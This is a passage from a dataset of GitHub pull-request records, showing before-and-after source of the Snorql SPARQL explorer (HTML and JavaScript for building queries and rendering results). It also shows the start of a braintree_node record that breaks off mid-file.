document.getElementById('jsonoutput').disabled = (mode != 'json');\n        document.getElementById('stylesheet').disabled = (mode != 'xslt' || !document.getElementById('xsltstylesheet').value);\n        if (mode == 'xslt') {\n            document.getElementById('stylesheet').value = document.getElementById('xsltstylesheet').value;\n        }\n        document.getElementById('queryform').submit();\n    }\n\n    this.displayBusyMessage = function() {\n        var busy = document.createElement('div');\n        busy.className = 'busy';\n        busy.appendChild(document.createTextNode('Executing query ...'));\n        this._display(busy, 'result');\n    }\n\n    this.displayErrorMessage = function(message) {\n        var pre = document.createElement('pre');\n        pre.innerHTML = message;\n        this._display(pre, 'result');\n    }\n\n    this.displayBooleanResult = function(value, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        if (value)\n        \tdiv.appendChild(document.createTextNode(\"TRUE\"));\n        else\n        \tdiv.appendChild(document.createTextNode(\"FALSE\"));\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result\n    }\n    \n    this.displayRDFResult = function(model, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        div.appendChild(new RDFXMLFormatter(model));\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result - necessary for boolean?\n    }\n    \n    this.displayJSONResult = function(json, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        if (json.results.bindings.length == 0) {\n            var p = document.createElement('p');\n            p.className = 'empty';\n            p.appendChild(document.createTextNode('[no results]'));\n            div.appendChild(p);\n        } else {\n            div.appendChild(new SPARQLResultFormatter(json, this._namespaces).toDOM());\n        }\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result\n    }\n\n    this._display = function(node, whereID) {\n        var where = document.getElementById(whereID);\n        if (!where) {\n            alert('ID not found: ' + whereID);\n            return;\n        }\n        while (where.firstChild) {\n            where.removeChild(where.firstChild);\n        }\n        if (node == null) return;\n        where.appendChild(node);\n    }\n\n    this._selectedOutputMode = function() {\n        return document.getElementById('selectoutput').value;\n    }\n\n    this._getPrefixes = function() {\n        prefixes = '';\n        for (prefix in this._namespaces) {\n            var uri = this._namespaces[prefix];\n            prefixes = prefixes + 'PREFIX ' + prefix + ': <' + uri + '>\\n';\n        }\n        return prefixes;\n    }\n\n    this._betterUnescape = function(s) {\n        return unescape(s.replace(/\\+/g, ' '));\n    }\n}\n\n\n/*\n * RDFXMLFormatter\n * \n * maybe improve...\n */\nfunction RDFXMLFormatter(string) {\n\tvar pre = document.createElement('pre');\n\tpre.appendChild(document.createTextNode(string));\n\treturn pre;\n}\n\n/*\n===========================================================================\nSPARQLResultFormatter: Renders a SPARQL/JSON result set into an HTML table.\n\nvar namespaces = { 'xsd': '', 'foaf': 'http://xmlns.com/foaf/0.1' };\nvar formatter = new SPARQLResultFormatter(json, namespaces);\nvar tableObject = formatter.toDOM();\n*/\nfunction SPARQLResultFormatter(json, namespaces) {\n    this._json = json;\n    this._variables = this._json.head.vars;\n    this._results = this._json.results.bindings;\n    this._namespaces = namespaces;\n\n    this.toDOM = function() {\n        var table = document.createElement('table');\n        table.className = 'queryresults';\n        table.appendChild(this._createTableHeader());\n        for (var i = 0; i < this._results.length; i++) {\n            table.appendChild(this._createTableRow(this._results[i], i));\n        }\n        return table;\n    }\n\n    // TODO: Refactor; non-standard link makers should be passed into the class by the caller\n    this._getLinkMaker = function(varName) {\n        if (varName == 'property') {\n            return function(uri) { return '?property=' + encodeURIComponent(uri); };\n        } else if (varName == 'class') {\n            return function(uri) { return '?class=' + encodeURIComponent(uri); };\n        } else {\n            return function(uri) { return '?describe=' + encodeURIComponent(uri); };\n        }\n    }\n\n    this._createTableHeader = function() {\n        var tr = document.createElement('tr');\n        var hasNamedGraph = false;\n        for (var i = 0; i < this._variables.length; i++) {\n            var th = document.createElement('th');\n            th.appendChild(document.createTextNode(this._variables[i]));\n            tr.appendChild(th);\n            if (this._variables[i] == 'namedgraph') {\n                hasNamedGraph = true;\n            }\n        }\n        if (hasNamedGraph) {\n            var th = document.createElement('th');\n            th.appendChild(document.createTextNode(' '));\n            tr.insertBefore(th, tr.firstChild);\n        }\n        return tr;\n    }\n\n    this._createTableRow = function(binding, rowNumber) {\n        var tr = document.createElement('tr');\n        if (rowNumber % 2) {\n            tr.className = 'odd';\n        } else {\n            tr.className = 'even';\n        }\n        var namedGraph = null;\n        for (var i = 0; i < this._variables.length; i++) {\n            var varName = this._variables[i];\n            td = document.createElement('td');\n            td.appendChild(this._formatNode(binding[varName], varName));\n            tr.appendChild(td);\n            if (this._variables[i] == 'namedgraph') {\n                namedGraph = binding[varName];\n            }\n        }\n        if (namedGraph) {\n            var link = document.createElement('a');\n            link.href = 'javascript:snorql.switchToGraph(\\'' + namedGraph.value + '\\')';\n            link.appendChild(document.createTextNode('Switch'));\n            var td = document.createElement('td');\n            td.appendChild(link);\n            tr.insertBefore(td, tr.firstChild);\n        }\n        return tr;\n    }\n\n    this._formatNode = function(node, varName) {\n        if (!node) {\n            return this._formatUnbound(node, varName);\n        }\n        if (node.type == 'uri') {\n            return this._formatURI(node, varName);\n        }\n        if (node.type == 'bnode') {\n            return this._formatBlankNode(node, varName);\n        }\n        if (node.type == 'literal') {\n            return this._formatPlainLiteral(node, varName);\n        }\n        if (node.type == 'typed-literal') {\n            return this._formatTypedLiteral(node, varName);\n        }\n        return document.createTextNode('???');\n    }\n\n    this._formatURI = function(node, varName) {\n        var span = document.createElement('span');\n        span.className = 'uri';\n        var a = document.createElement('a');\n        a.href = this._getLinkMaker(varName)(node.value);\n        a.title = '<' + node.value + '>';\n        a.className = 'graph-link';\n        var qname = this._toQName(node.value);\n        if (qname) {\n            a.appendChild(document.createTextNode(qname));\n            span.appendChild(a);\n        } else {\n            a.appendChild(document.createTextNode(node.value));\n            span.appendChild(document.createTextNode('<'));\n            span.appendChild(a);\n            span.appendChild(document.createTextNode('>'));\n        }\n        match = node.value.match(/^(https?|ftp|mailto|irc|gopher|news):/);\n        if (match) {\n            span.appendChild(document.createTextNode(' '));\n            var externalLink = document.createElement('a');\n            externalLink.href = node.value;\n            img = document.createElement('img');\n            img.src = 'link.png';\n            img.alt = '[' + match[1] + ']';\n            img.title = 'Go to Web page';\n            externalLink.appendChild(img);\n            span.appendChild(externalLink);\n        }\n        return span;\n    }\n\n    this._formatPlainLiteral = function(node, varName) {\n        var text = '\"' + node.value + '\"';\n        if (node['xml:lang']) {\n            text += '@' + node['xml:lang'];\n        }\n        return document.createTextNode(text);\n    }\n\n    this._formatTypedLiteral = function(node, varName) {\n        var text = '\"' + node.value + '\"';\n        if (node.datatype) {\n            text += '^^' + this._toQNameOrURI(node.datatype);\n        }\n        if (this._isNumericXSDType(node.datatype)) {\n            var span = document.createElement('span');\n            span.title = text;\n            span.appendChild(document.createTextNode(node.value));\n            return span;\n        }\n        return document.createTextNode(text);\n    }\n\n    this._formatBlankNode = function(node, varName) {\n        return document.createTextNode('_:' + node.value);\n    }\n\n    this._formatUnbound = function(node, varName) {\n        var span = document.createElement('span');\n        span.className = 'unbound';\n        span.title = 'Unbound'\n        span.appendChild(document.createTextNode('-'));\n        return span;\n    }\n\n    this._toQName = function(uri) {\n        for (prefix in this._namespaces) {\n            var nsURI = this._namespaces[prefix];\n            if (uri.indexOf(nsURI) == 0) {\n                return prefix + ':' + uri.substring(nsURI.length);\n            }\n        }\n        return null;\n    }\n\n    this._toQNameOrURI = function(uri) {\n        var qName = this._toQName(uri);\n        return (qName == null) ? '<' + uri + '>' : qName;\n    }\n\n    this._isNumericXSDType = function(datatypeURI) {\n        for (i = 0; i < this._numericXSDTypes.length; i++) {\n            if (datatypeURI == this._xsdNamespace + this._numericXSDTypes[i]) {\n                return true;\n            }\n        }\n        return false;\n    }\n    this._xsdNamespace = 'http://www.w3.org/2001/XMLSchema#';\n    this._numericXSDTypes = ['long', 'decimal', 'float', 'double', 'int',\n        'short', 'byte', 'integer', 'nonPositiveInteger', 'negativeInteger',\n        'nonNegativeInteger', 'positiveInteger', 'unsignedLong',\n        'unsignedInt', 'unsignedShort', 'unsignedByte'];\n}\n"}, "files_after": {"snorql/index.html": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n  <head>\n    <title>Snorql: A SPARQL Explorer</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" />\n    <script type=\"text/javascript\" src=\"prototype.js\"></script>\n    <script type=\"text/javascript\" src=\"scriptaculous/scriptaculous.js\"></script>\n    <script type=\"text/javascript\" src=\"sparql.js\"></script>\n    <script type=\"text/javascript\" src=\"namespaces.js\"></script>\n    <script type=\"text/javascript\" src=\"snorql.js\"></script>\n    <script type=\"text/javascript\">\n        var snorql = new Snorql({'endpoint': document.location.href.match(/^([^?]*)snorql\\//)[1] + 'sparql'});\n    </script>\n  </head>\n\n  <body class=\"snorql\" onload=\"snorql.start()\">\n    <div id=\"header\">\n      <h1 id=\"title\">Snorql: A SPARQL Explorer</h1>\n    </div>\n\n    <div class=\"section\" style=\"float: right; width: 8em\">\n      <h2>Browse:</h2>\n      <ul>\n        <li><a class=\"graph-link\" href=\"?browse=superclasses\">Super Classes</a></li>\n        <li><a class=\"graph-link\" href=\"?browse=classes\">Classes</a></li>\n        <li><a class=\"graph-link\" href=\"?browse=properties\">Properties</a></li>\n        <li id=\"browse-named-graphs-link\"><a href=\"?browse=graphs\">Named Graphs</a></li>\n      </ul>\n    </div>\n\n    <div id=\"default-graph-section\" class=\"section\" style=\"margin-right: 12em\">\n      <h2 style=\"display: inline\">GRAPH:</h2>\n      <p style=\"display: inline\">\n        Default graph.\n        <a href=\"?browse=graphs\">List named graphs</a>\n      </p>\n    </div>\n\n    <div id=\"named-graph-section\" class=\"section\" style=\"margin-right: 12em\">\n      <h2 style=\"display: inline\">GRAPH:</h2>\n      <p style=\"display: inline\">\n        <span id=\"selected-named-graph\">Named graph goes here</span>.\n        <a href=\"javascript:snorql.switchToDefaultGraph()\">Switch back to default graph</a>\n      </p>\n    </div>\n\n    <div class=\"section\" style=\"margin-right: 12em\">\n      <h2>SPARQL:</h2>\n      <pre id=\"prefixestext\"></pre>\n      <form id=\"queryform\" action=\"#\" method=\"get\"><div>\n        <input type=\"hidden\" name=\"query\" value=\"\" id=\"query\" />\n        <input type=\"hidden\" name=\"output\" value=\"json\" id=\"jsonoutput\" disabled=\"disabled\" />\n        <input type=\"hidden\" name=\"stylesheet\" value=\"\" id=\"stylesheet\" disabled=\"disabled\" />\n        <input type=\"hidden\" name=\"graph\" value=\"\" id=\"graph-uri\" disabled=\"disabled\" />\n      </div></form>\n      <div>\n        <textarea name=\"query\" rows=\"9\" cols=\"80\" id=\"querytext\"></textarea>\n        Results:\n        <select id=\"selectoutput\" onchange=\"snorql.updateOutputMode()\">\n          <option selected=\"selected\" value=\"browse\">Browse</option>\n          <option value=\"json\">as JSON</option>\n          <option value=\"xml\">as XML</option>\n          <option value=\"xslt\">as XML+XSLT</option>\n        </select>\n        <span id=\"xsltcontainer\"><span id=\"xsltinput\">\n          XSLT stylesheet URL:\n          <input id=\"xsltstylesheet\" type=\"text\" value=\"snorql/xml-to-html.xsl\" size=\"30\" />\n        </span></span>\n        <input type=\"button\" value=\"Go!\" onclick=\"snorql.submitQuery()\" />\n        <input type=\"button\" value=\"Reset\" onclick=\"snorql.resetQuery()\" />\n      </div>\n    </div>\n\n    <div class=\"section\">\n      <div id=\"result\"><span></span></div>\n    </div>\n\n    <div id=\"footer\">Powered by <a id=\"poweredby\" href=\"#\">Snorql</a></div>\n  </body>\n</html>\n", "snorql/snorql.js": "\nString.prototype.trim = function () {\n    return this.replace(/^\\s*/, \"\").replace(/\\s*$/, \"\");\n}\n\nString.prototype.startsWith = function(str) {\n\treturn (this.match(\"^\"+str) == str);\n}\n\nfunction Snorql(options) {\n    options = options || {};\n\n    this._endpoint = options['endpoint'] || undefined;\n\n    this._poweredByLink = options['poweredByLink'] || 'http://www4.wiwiss.fu-berlin.de/bizer/d2r-server/';\n    this._poweredByLabel = options['poweredByLabel'] || 'D2R Server';\n    this._enableNamedGraphs = options['enableNamedGraphs'] || false;\n\n    this._browserBase = options['browserBase'] || null;\n    this._namespaces = options['namespaces'] || D2R_namespacePrefixes;\n    this._graph = options['graph'] || null;\n    this._xsltDOM = options['xsltDOM'] || null;\n\n    this.start = function() {\n        // TODO: Extract a QueryType class\n        this.setBrowserBase(document.location.href.replace(/\\?.*/, ''));\n        this._displayEndpointURL();\n        this._displayPoweredBy();\n        this.setNamespaces(this._namespaces);\n        this.updateOutputMode();\n        var match = document.location.href.match(/\\?(.*)/);\n        var queryString = match ? match[1] : '';\n        if (!queryString) {\n            document.getElementById('querytext').value = 'SELECT DISTINCT * WHERE {\\n  ?s ?p ?o\\n}\\nLIMIT 10';\n            this._updateGraph(null, false);\n            return;\n        }\n        var graph = queryString.match(/graph=([^&]*)/);\n        graph = graph ? decodeURIComponent(graph[1]) : null;\n        this._updateGraph(graph, false);\n        var browse = queryString.match(/browse=([^&]*)/);\n        var querytext = null;\n        if (browse && browse[1] == 'superclasses') {\n            var resultTitle = 'List of all super classes:';\n            var querytext = 'SELECT DISTINCT ?class\\n' +\n                    'WHERE { [] rdfs:subClassOf ?class }\\n' +\n                    'ORDER BY ?class';\n            var query = 'PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\\n' + querytext;\n        }\n        if (browse && browse[1] == 'classes') {\n            var resultTitle = 'List of all classes:';\n            var query = 'SELECT DISTINCT ?class\\n' +\n                    'WHERE { [] a ?class }\\n' +\n                    'ORDER BY ?class';\n        }\n        if (browse && browse[1] == 'properties') {\n            var resultTitle = 'List of all properties:';\n            var query = 'SELECT DISTINCT ?property\\n' +\n                    'WHERE { [] ?property [] }\\n' +\n                    'ORDER BY ?property';\n        }\n        if (browse && browse[1] == 'graphs') {\n            var resultTitle = 'List of all named graphs:';\n            var querytext = 'SELECT DISTINCT ?namedgraph ?label\\n' +\n                    'WHERE {\\n' +\n                    '  GRAPH ?namedgraph { ?s ?p ?o }\\n' +\n                    '  OPTIONAL { ?namedgraph rdfs:label ?label }\\n' +\n                    '}\\n' +\n                    'ORDER BY ?namedgraph';\n            var query = 'PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\\n' + querytext;\n        }\n        var match = queryString.match(/property=([^&]*)/);\n        if (match) {\n            var resultTitle = 'All uses of property ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?resource ?value\\n' +\n                    'WHERE { ?resource <' + decodeURIComponent(match[1]) + '> ?value }\\n' +\n                    'ORDER BY ?resource ?value';\n        }\n        var match = queryString.match(/class=([^&]*)/);\n        if (match) {\n            var resultTitle = 'All instances of class ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?instance\\n' +\n                    'WHERE { ?instance a <' + decodeURIComponent(match[1]) + '> }\\n' +\n                    'ORDER BY ?instance';\n        }\n        var match = queryString.match(/describe=([^&]*)/);\n        if (match) {\n            var resultTitle = 'Description of ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?property ?hasValue ?isValueOf\\n' +\n                    'WHERE {\\n' +\n                    '  { <' + decodeURIComponent(match[1]) + '> ?property ?hasValue }\\n' +\n                    '  UNION\\n' +\n                    '  { ?isValueOf ?property <' + decodeURIComponent(match[1]) + '> }\\n' +\n                    '}\\n' +\n                    'ORDER BY (!BOUND(?hasValue)) ?property ?hasValue ?isValueOf';\n        }\n        if (queryString.match(/query=/)) {\n            var resultTitle = 'SPARQL results:';\n            querytext = this._betterUnescape(queryString.match(/query=([^&]*)/)[1]);\n            var query = prefixes + querytext;\n        }\n        if (!querytext) {\n            querytext = query;\n        }\n        document.getElementById('querytext').value = querytext;\n        this.displayBusyMessage();\n        if (!this._endpoint) {\n            this.displayErrorMessage(\"No SPARQL Endpoint provided!\");\n            return;\n        }\n        var service = new SPARQL.Service(this._endpoint);\n        if (this._graph) {\n            service.addDefaultGraph(this._graph);\n        }\n\n        // AndyL changed MIME type and success callback depending on query form...\n        var dummy = this;\n        \n   \t    var exp = /^\\s*(?:PREFIX\\s+\\w*:\\s+<[^>]*>\\s*)*(\\w+)\\s*.*/i;\n   \t    var match = exp.exec(querytext);\n   \t    if (match) {\n\t        if (match[1].toUpperCase() == 'ASK') {\n\t        \tservice.setOutput('boolean');\n\t        \tvar successFunc = function(value) {\n\t                dummy.displayBooleanResult(value, resultTitle);\n\t            };\n\t        } else if (match[1].toUpperCase() == 'CONSTRUCT' || match[1].toUpperCase() == 'DESCRIBE'){ // construct describe\n\t    \t\tservice.setOutput('rdf'); // !json\n\t    \t\tvar successFunc = function(model) {\n\t                dummy.displayRDFResult(model, resultTitle);\n\t            };\n\t        } else {\n\t        \tservice.setRequestHeader('Accept', 'application/sparql-results+json,*/*');\n\t        \tservice.setOutput('json');\n\t        \tvar successFunc = function(json) {\n\t        \t\tdummy.displayJSONResult(json, resultTitle);\n\t        \t};\n\t        }\n   \t    }\n   \t    \n        service.query(query, {\n            success: successFunc,\n            failure: function(report) {\n                var message = report.responseText.match(/<pre>([\\s\\S]*)<\\/pre>/);\n                if (message) {\n                    dummy.displayErrorMessage(message[1]);\n                } else {\n                    dummy.displayErrorMessage(report.responseText);\n                }\n            }\n        });\n    }\n\n    this.setBrowserBase = function(url) {\n        this._browserBase = url;\n    }\n\n    this._displayEndpointURL = function() {\n        var newTitle = 'Snorql: Exploring ' + this._endpoint;\n        this._display(document.createTextNode(newTitle), 'title');\n        document.title = newTitle;\n    }\n\n    this._displayPoweredBy = function() {\n        $('poweredby').href = this._poweredByLink;\n        $('poweredby').update(this._poweredByLabel);\n    }\n\n    this.setNamespaces = function(namespaces) {\n        this._namespaces = namespaces;\n        this._display(document.createTextNode(this._getPrefixes()), 'prefixestext');\n    }\n\n    this.switchToGraph = function(uri) {\n        this._updateGraph(uri, true);\n    }\n\n    this.switchToDefaultGraph = function() {\n        this._updateGraph(null, true);\n    }\n\n    this._updateGraph = function(uri, effect) {\n        if (!this._enableNamedGraphs) {\n            $('default-graph-section').hide();\n            $('named-graph-section').hide();\n            $('browse-named-graphs-link').hide();\n            return;\n        }\n        var changed = (uri != this._graph);\n        this._graph = uri;\n        var el = document.getElementById('graph-uri');\n        el.disabled = (this._graph == null);\n        el.value = this._graph;\n        if (this._graph == null) {\n            var show = 'default-graph-section';\n            var hide = 'named-graph-section';\n            $$('a.graph-link').each(function(link) {\n                match = link.href.match(/^(.*)[&?]graph=/);\n                if (match) link.href = match[1];\n            });\n        } else {\n            var show = 'named-graph-section';\n            var hide = 'default-graph-section';\n            $('selected-named-graph').update(this._graph);\n            var uri = this._graph;\n            $$('a.graph-link').each(function(link) {\n                match = link.href.match(/^(.*)[&?]graph=/);\n                if (!match) link.href = link.href + '&graph=' + uri;\n            });\n        }\n        $(hide).hide();\n        $(show).show();\n        if (effect && changed) {\n            new Effect.Highlight(show,\n                {startcolor: '#ffff00', endcolor: '#ccccff', resotrecolor: '#ccccff'});\n        }\n        $('graph-uri').disabled = (this._graph == null);\n        $('graph-uri').value = this._graph;\n    }\n\n    this.updateOutputMode = function() {\n        if (this._xsltDOM == null) {\n            this._xsltDOM = document.getElementById('xsltinput');\n        }\n        var el = document.getElementById('xsltcontainer');\n        while (el.childNodes.length > 0) {\n            el.removeChild(el.firstChild);\n        }\n        if (this._selectedOutputMode() == 'xslt') {\n            el.appendChild(this._xsltDOM);\n        }\n    }\n\n    this.resetQuery = function() {\n        document.location = this._browserBase;\n    }\n\n    this.submitQuery = function() {\n        if (!this._endpoint) {\n            this.displayErrorMessage(\"No SPARQL Endpoint defined!\");\n        }\n\n        var mode = this._selectedOutputMode();\n        if (mode == 'browse') {\n            document.getElementById('queryform').action = this._browserBase;\n            document.getElementById('query').value = document.getElementById('querytext').value;\n        } else {\n            document.getElementById('query').value = this._getPrefixes() + document.getElementById('querytext').value;\n            document.getElementById('queryform').action = this._endpoint;\n        }\n        document.getElementById('jsonoutput').disabled = (mode != 'json');\n        document.getElementById('stylesheet').disabled = (mode != 'xslt' || !document.getElementById('xsltstylesheet').value);\n        if (mode == 'xslt') {\n            document.getElementById('stylesheet').value = document.getElementById('xsltstylesheet').value;\n        }\n        document.getElementById('queryform').submit();\n    }\n\n    this.displayBusyMessage = function() {\n        var busy = document.createElement('div');\n        busy.className = 'busy';\n        busy.appendChild(document.createTextNode('Executing query ...'));\n        this._display(busy, 'result');\n    }\n\n    this.displayErrorMessage = function(message) {\n        var pre = document.createElement('pre');\n        pre.innerHTML = message;\n        this._display(pre, 'result');\n    }\n\n    this.displayBooleanResult = function(value, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        if (value)\n        \tdiv.appendChild(document.createTextNode(\"TRUE\"));\n        else\n        \tdiv.appendChild(document.createTextNode(\"FALSE\"));\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result\n    }\n    \n    this.displayRDFResult = function(model, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        div.appendChild(new RDFXMLFormatter(model));\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result - necessary for boolean?\n    }\n    \n    this.displayJSONResult = function(json, resultTitle) {\n        var div = document.createElement('div');\n        var title = document.createElement('h2');\n        title.appendChild(document.createTextNode(resultTitle));\n        div.appendChild(title);\n        if (json.results.bindings.length == 0) {\n            var p = document.createElement('p');\n            p.className = 'empty';\n            p.appendChild(document.createTextNode('[no results]'));\n            div.appendChild(p);\n        } else {\n            div.appendChild(new SPARQLResultFormatter(json, this._namespaces).toDOM());\n        }\n        this._display(div, 'result');\n        this._updateGraph(this._graph); // refresh links in new result\n    }\n\n    this._display = function(node, whereID) {\n        var where = document.getElementById(whereID);\n        if (!where) {\n            alert('ID not found: ' + whereID);\n            return;\n        }\n        while (where.firstChild) {\n            where.removeChild(where.firstChild);\n        }\n        if (node == null) return;\n        where.appendChild(node);\n    }\n\n    this._selectedOutputMode = function() {\n        return document.getElementById('selectoutput').value;\n    }\n\n    this._getPrefixes = function() {\n        prefixes = '';\n        for (prefix in this._namespaces) {\n            var uri = this._namespaces[prefix];\n            prefixes = prefixes + 'PREFIX ' + prefix + ': <' + uri + '>\\n';\n        }\n        return prefixes;\n    }\n\n    this._betterUnescape = function(s) {\n        return unescape(s.replace(/\\+/g, ' '));\n    }\n}\n\n\n/*\n * RDFXMLFormatter\n * \n * maybe improve...\n */\nfunction RDFXMLFormatter(string) {\n\tvar pre = document.createElement('pre');\n\tpre.appendChild(document.createTextNode(string));\n\treturn pre;\n}\n\n/*\n===========================================================================\nSPARQLResultFormatter: Renders a SPARQL/JSON result set into an HTML table.\n\nvar namespaces = { 'xsd': '', 'foaf': 'http://xmlns.com/foaf/0.1' };\nvar formatter = new SPARQLResultFormatter(json, namespaces);\nvar tableObject = formatter.toDOM();\n*/\nfunction SPARQLResultFormatter(json, namespaces) {\n    this._json = json;\n    this._variables = this._json.head.vars;\n    this._results = this._json.results.bindings;\n    this._namespaces = namespaces;\n\n    this.toDOM = function() {\n        var table = document.createElement('table');\n        table.className = 'queryresults';\n        table.appendChild(this._createTableHeader());\n        for (var i = 0; i < this._results.length; i++) {\n            table.appendChild(this._createTableRow(this._results[i], i));\n        }\n        return table;\n    }\n\n    // TODO: Refactor; non-standard link makers should be passed into the class by the caller\n    this._getLinkMaker = function(varName) {\n        if (varName == 'property') {\n            return function(uri) { return '?property=' + encodeURIComponent(uri); };\n        } else if (varName == 'class') {\n            return function(uri) { return '?class=' + encodeURIComponent(uri); };\n        } else {\n            return function(uri) { return '?describe=' + encodeURIComponent(uri); };\n        }\n    }\n\n    this._createTableHeader = function() {\n        var tr = document.createElement('tr');\n        var hasNamedGraph = false;\n        for (var i = 0; i < this._variables.length; i++) {\n            var th = document.createElement('th');\n            th.appendChild(document.createTextNode(this._variables[i]));\n            tr.appendChild(th);\n            if (this._variables[i] == 'namedgraph') {\n                hasNamedGraph = true;\n            }\n        }\n        if (hasNamedGraph) {\n            var th = document.createElement('th');\n            th.appendChild(document.createTextNode(' '));\n            tr.insertBefore(th, tr.firstChild);\n        }\n        return tr;\n    }\n\n    this._createTableRow = function(binding, rowNumber) {\n        var tr = document.createElement('tr');\n        if (rowNumber % 2) {\n            tr.className = 'odd';\n        } else {\n            tr.className = 'even';\n        }\n        var namedGraph = null;\n        for (var i = 0; i < this._variables.length; i++) {\n            var varName = this._variables[i];\n            td = document.createElement('td');\n            td.appendChild(this._formatNode(binding[varName], varName));\n            tr.appendChild(td);\n            if (this._variables[i] == 'namedgraph') {\n                namedGraph = binding[varName];\n            }\n        }\n        if (namedGraph) {\n            var link = document.createElement('a');\n            link.href = 'javascript:snorql.switchToGraph(\\'' + namedGraph.value + '\\')';\n            link.appendChild(document.createTextNode('Switch'));\n            var td = document.createElement('td');\n            td.appendChild(link);\n            tr.insertBefore(td, tr.firstChild);\n        }\n        return tr;\n    }\n\n    this._formatNode = function(node, varName) {\n        if (!node) {\n            return this._formatUnbound(node, varName);\n        }\n        if (node.type == 'uri') {\n            return this._formatURI(node, varName);\n        }\n        if (node.type == 'bnode') {\n            return this._formatBlankNode(node, varName);\n        }\n        if (node.type == 'literal') {\n            return this._formatPlainLiteral(node, varName);\n        }\n        if (node.type == 'typed-literal') {\n            return this._formatTypedLiteral(node, varName);\n        }\n        return document.createTextNode('???');\n    }\n\n    this._formatURI = function(node, varName) {\n        var span = document.createElement('span');\n        span.className = 'uri';\n        var a = document.createElement('a');\n        a.href = this._getLinkMaker(varName)(node.value);\n        a.title = '<' + node.value + '>';\n        a.className = 'graph-link';\n        var qname = this._toQName(node.value);\n        if (qname) {\n            a.appendChild(document.createTextNode(qname));\n            span.appendChild(a);\n        } else {\n            a.appendChild(document.createTextNode(node.value));\n            span.appendChild(document.createTextNode('<'));\n            span.appendChild(a);\n            span.appendChild(document.createTextNode('>'));\n        }\n        match = node.value.match(/^(https?|ftp|mailto|irc|gopher|news):/);\n        if (match) {\n            span.appendChild(document.createTextNode(' '));\n            var externalLink = document.createElement('a');\n            externalLink.href = node.value;\n            img = document.createElement('img');\n            img.src = 'link.png';\n            img.alt = '[' + match[1] + ']';\n            img.title = 'Go to Web page';\n            externalLink.appendChild(img);\n            span.appendChild(externalLink);\n        }\n        return span;\n    }\n\n    this._formatPlainLiteral = function(node, varName) {\n        var text = '\"' + node.value + '\"';\n        if (node['xml:lang']) {\n            text += '@' + node['xml:lang'];\n        }\n        return document.createTextNode(text);\n    }\n\n    this._formatTypedLiteral = function(node, varName) {\n        var text = '\"' + node.value + '\"';\n        if (node.datatype) {\n            text += '^^' + this._toQNameOrURI(node.datatype);\n        }\n        if (this._isNumericXSDType(node.datatype)) {\n            var span = document.createElement('span');\n            span.title = text;\n            span.appendChild(document.createTextNode(node.value));\n            return span;\n        }\n        return document.createTextNode(text);\n    }\n\n    this._formatBlankNode = function(node, varName) {\n        return document.createTextNode('_:' + node.value);\n    }\n\n    this._formatUnbound = function(node, varName) {\n        var span = document.createElement('span');\n        span.className = 'unbound';\n        span.title = 'Unbound'\n        span.appendChild(document.createTextNode('-'));\n        return span;\n    }\n\n    this._toQName = function(uri) {\n        for (prefix in this._namespaces) {\n            var nsURI = this._namespaces[prefix];\n            if (uri.indexOf(nsURI) == 0) {\n                return prefix + ':' + uri.substring(nsURI.length);\n            }\n        }\n        return null;\n    }\n\n    this._toQNameOrURI = function(uri) {\n        var qName = this._toQName(uri);\n        return (qName == null) ? '<' + uri + '>' : qName;\n    }\n\n    this._isNumericXSDType = function(datatypeURI) {\n        for (i = 0; i < this._numericXSDTypes.length; i++) {\n            if (datatypeURI == this._xsdNamespace + this._numericXSDTypes[i]) {\n                return true;\n            }\n        }\n        return false;\n    }\n    this._xsdNamespace = 'http://www.w3.org/2001/XMLSchema#';\n    this._numericXSDTypes = ['long', 'decimal', 'float', 'double', 'int',\n        'short', 'byte', 'integer', 'nonPositiveInteger', 'negativeInteger',\n        'nonNegativeInteger', 'positiveInteger', 'unsignedLong',\n        'unsignedInt', 'unsignedShort', 'unsignedByte'];\n}\n"}}
{"repo": "jamescarr/braintree_node", "pr_number": 1, "title": "Hi! I fixed some calls to \"sys\" for you!", "state": "open", "merged_at": null, "additions": 12, "deletions": 12, "files_changed": ["lib/braintree.js", "lib/braintree/http.js", "spec/spec_helper.js"], "files_before": {"lib/braintree.js": "var sys = require(\"sys\"),\n    Config = require(\"./braintree/config\").Config,\n    Environment = require(\"./braintree/environment\").Environment,\n    Gateway = require(\"./braintree/gateway\").Gateway,\n    TransactionGateway = require(\"./braintree/transaction_gateway\").TransactionGateway;\n    AuthenticationError = require(\"./braintree/exceptions/authentication_error\").AuthenticationError,\n    errorTypes = require(\"./braintree/exceptions/error_types\");\n\nif (process.version !== 'v0.2.0') {\n  sys.puts('WARNING: node.js version ' + process.version + ' has not been tested with the braintree library');\n}\n\nvar connect = function(config) {\n  var gateway = Gateway(Config(config));\n  return {\n    transaction: TransactionGateway(gateway)\n  };\n};\n\nexports.connect = connect;\nexports.version = '0.1.0';\nexports.AuthenticationError = AuthenticationError;\nexports.Environment = Environment;\nexports.errorTypes = 